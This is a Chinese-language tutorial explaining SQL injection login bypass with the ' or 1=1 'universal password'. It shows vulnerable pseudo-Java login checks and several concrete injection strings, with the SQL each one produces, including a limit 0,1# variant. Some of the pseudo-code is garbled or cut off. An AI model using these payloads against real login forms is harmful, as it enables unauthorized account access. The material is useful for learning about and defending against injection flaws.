关于万能密码or1=1
万能条件 ' or 1=1
在⽤户登录界⾯,如果后端判断不严谨,可以通过 or 1=1 的⽅式,结合其他条件满⾜后端的登录的验证许可.
假设登录的验证需要 username 和password 两个参数.情况⼀: 查询结果不为空,或⼤于0
后端代码:
# 查询的SQL
result = SELECT * FROM users WHERE user = '#username' AND password = '#password'
#猜测后台验证的⽅法 (伪java代码)
if(result != null ){
return true;
}else {
thorw new RuntimeException ('登录失败')
}
或者(伪java代码)
>0 ){
return true;
}else {
thorw new RuntimeException ('登录失败')
}
前端填写:
⽤户名随意填写或者空,密码填写 111' or '1'='1
这样讲导致SQL演变为
SELECT * FROM users WHERE user = 'name'  AND password = '111'  or '1'='1'
判断条件变成了: ⽤户名密码匹配或者 '1' = '1' 所以条件⼀直为真.会查出所有⽤户信息
username  输⼊ admin1' or '1'='1  即可,passwrd 可以填空或随意值即可.
这样讲导致SQL演变为
SELECT * FROM users WHERE user = 'admin1' or '1'='1' AND password = ''
情况⼆: 直接查询数量是否等于 1
情况⼀的⽅法就不能使⽤了,想办法让返回结果为1 即可.
后端代码:
# 查询的SQL
int result = SELECT count(*) FROM users WHERE user = '#username' AND password = '#password'
#猜测后台验证的⽅法 (伪java代码)
if(result == 1 ){
return true;
}else {
thorw new RuntimeException ('登录失败')
}
前端填写 : 如果知道⽤户名
用户登录界面设计代码html
username: admin'  or '1'='1
补充: admin是真实⽤户名
password: 随意输⼊密码即可
这样讲导致SQL演变为
SELECT * FROM users WHERE user = 'admin'  or '1'='1'  AND password = '111'
可以理解为:
SELECT * FROM users WHERE user = 'admin'  or( '1'='1'  AND password = '111'  )
这样会导致只会查询 user 为admin的⽤户,导致查询数量为1
前端填写 : 如果不知道⽤户名
username = 111' or '1'='1' limit 0, 1#
⽤户名: 使⽤or 1=1 达到万能条件,使⽤ limit 0,1 表⽰取第⼀条数据, 使⽤# 表⽰注释掉后⾯的语句password = 111
密码随意输⼊即可
这样讲导致SQL演变为
SELECT * FROM `users` WHERE user = '111' or '1'='1' limit 0, 1# AND password = '111';